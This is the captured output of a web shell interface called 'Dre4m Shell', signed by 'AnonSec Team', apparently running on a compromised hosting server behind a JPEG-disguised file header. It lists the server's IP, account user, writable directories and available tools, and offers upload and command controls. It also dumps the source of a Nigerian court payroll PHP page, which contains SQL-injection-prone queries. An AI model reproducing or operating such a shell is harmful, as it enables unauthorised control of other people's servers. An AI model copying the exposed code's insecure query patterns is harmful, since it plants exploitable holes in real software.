ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 18.224.38.251
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/consolidated/consolidated/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/consolidated/consolidated/con_pa.php
<?php
//
require_once('business logic/classes/users.php');
require_once('business logic/classes/add_per.php');
//
$user = new User();

$per = new Per();
//
$uid = $_SESSION['uid'];
$access = $_SESSION['acc'];
//
if($access > 2)
   header("location:delay.php");
   
if (!$user->get_session())
{
   header("location:myown_mainpage.php?you are not login");
}
//
if (isset($_GET['q']) and $_GET['q'] == 'logout') 
{
    $user->user_logout();
    header("location:myown_mainpage.php? you are log out");
}
//
$name=mysql_real_escape_string($_POST['name']);
$amount=mysql_real_escape_string($_POST['amount']);
//
if(isset($_POST['submit']))
{
	$msg = $per->addPersonalAssistant($_POST ); 
}

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="shortcut icon" href="images/favicon.ico">
<title>National Industrial Court of Nigeria...::...Add Bank Details</title>
<link href="css/payroll.css" rel="stylesheet" type="text/css" />
<style type="text/css">
<!--
.style25 {	font-family: Verdana, Arial, Helvetica, sans-serif;
	color: #FF0000;
}
a:link {
	text-decoration: none;
}
a:visited {
	text-decoration: none;
}
a:hover {
	text-decoration: underline;
}
a:active {
	text-decoration: none;
}
.inputs {	background-color: #ffffff;
	margin: 2px;
	padding: 2px;
	border: 1px solid #FF8A00;
}
.listing { font-size:12px; }
-->
</style>
<script language="javascript" type="text/javascript">
function submitregistration() {
 var form = document.login;
				
     
 
if(form.name.value == "")
{
alert( "Enter Bank Name" );
return false;
}
/*else if(form.branch.value == "")
{
alert( "Enter Bank Branch" );
return false;
}
*/
else if( form.sort_code.value == "")
{
alert( "Enter Sort Code " );
return false;
}
 else if( form.bankCode.value == "")
{
alert( "Enter Bank Code " );
return false;
}
}
function MM_jumpMenu(targ,selObj,restore){ //v3.0
  eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'");
  if (restore) selObj.selectedIndex=0;
}
</script> 
<script language="javascript" src="js/cal2.js">
/*
Xin's Popup calendar script-  Xin Yang (http://www.yxscripts.com/)
Script featured on/available at http://www.dynamicdrive.com/
This notice must stay intact for use
*/
</script>
<script language="javascript" src="js/cal_conf2.js"></script>
<script type="text/javascript">
<!--

function MM_jumpMenu(targ,selObj,restore){ //v3.0
  eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'");
  if (restore) selObj.selectedIndex=0;
  
}
//-->
</script>

</head>

<body onLoad="document.login.bank.focus()">
<table width="744" border="0" cellpadding="0" cellspacing="0" class="container" align="center" >
  <!--DWLayoutTable-->
  <tr>
    <td width="800" height="42" colspan="2" valign="top"><?php require_once('header.php');?></td>
  </tr>
  <tr>
    <td height="19" colspan="2" valign="top"><table width="100%" border="0" cellpadding="0" cellspacing="0" class="bottomborder">
      <!--DWLayoutTable-->
      <tr>
        <td width="33%">&nbsp;<a href="userArea.php">Home</a> </td>
        <td width="67%"><?php 
			 //$user->getLink($access);
			  $user->get_fullname($uid);
		
		?><a href="?q=logout">Logout</a>&nbsp;</td>
      </tr>
    </table></td>
  </tr>
  <tr>
    <td height="243" valign="top"><br />
      <?php require_once('links.php');?>
<br /></td>
    <td valign="top"><table width="400" border="0" align="left" cellpadding="0" cellspacing="0">
      <tr>
        <td width="400" colspan="3"><br />
        <fieldset>
          <legend>Personal Assistant Details<br />
            </legend>
          <form id="login" name="login" method="post" action="" enctype="multipart/form-data">
            <table width="429" border="0" align="left">
              <tr>
                <td colspan="2"><?php 
				if(isset($msg))
					echo $msg;
			//}
			?></td>
              </tr>
              <tr>
                <td width="142"><div align="right">Select staff to edit</div></td>
                <td width="246"><select name="jumpMenu" id="jumpMenu" onchange="MM_jumpMenu('parent',this,0)">
                  <option>Select Staff</option>
                  <?php
		  				$result = mysql_query("select * from tblper WHERE employee_type = 'CONSOLIDATED' order by surname, first_name,
						 othernames");
						while($rows = mysql_fetch_assoc($result))
						{
							if(isset($_GET['p']) && ($rows['fileNo']==$_GET['p']))
							{	
								$fileNo = strtoupper($rows['fileNo']);
								$name = $rows['surname'].", ".$rows['first_name']." ".$rows['othernames'];			
							}							
							echo "<option value='con_pa.php?p=".$rows['fileNo']."'>".$rows['surname']." ".$rows['first_name']." ".
							$rows['othernames']."</option>";
						}						
					?>
                  </select></td>
              </tr>
              <tr>
                <td>&nbsp;</td>
                <td><?php echo $name; ?> 
                  <input type="hidden" name="fileNo" value="<?php echo $fileNo; ?>"> 
                  </td>
              </tr>
              <tr>
                <td><div align="right">P.A full name</div></td>
                <td><input type="text" name="name" id="textfield2" required="true"/></td>
              </tr>
              <tr>
                <td>&nbsp;</td>
                <td><input type="submit" name="submit" id="submit" value="Add Staff" onclick="return( submitregistration());"/></td>
              </tr>
              <tr>
                <td>&nbsp;</td>
                <td>&nbsp;</td>
              </tr>
              <tr>
                <td colspan="2">Existing Personal Assistant</td>
                </tr>
                <?php
		$sql = "select * from tblpersonalassistant where fileno = '$fileNo'";
		$rs = mysql_query($sql);
		$counter = 1;
		while($rows = mysql_fetch_array($rs))
		{
			echo "<tr><td class= 'listing'>". $counter. "</td><td class = 'listing'>". $rows['name']. "</td></tr>";
			$counter++;
		}
		?>
              
            </table>
          </form>
        </fieldset></td>
      </tr>
            
    </table></td>
    
  </tr>
  
  <tr>
    <td height="20" colspan="2" valign="top"><table width="100%" border="0" cellpadding="0" cellspacing="0">
      <!--DWLayoutTable-->
      <tr>
        <td>
		</td>
      </tr>
    </table></td>
  </tr>
</table>
</body>
</html>
<?php $user->close();?>

Anon7 - 2022
AnonSec Team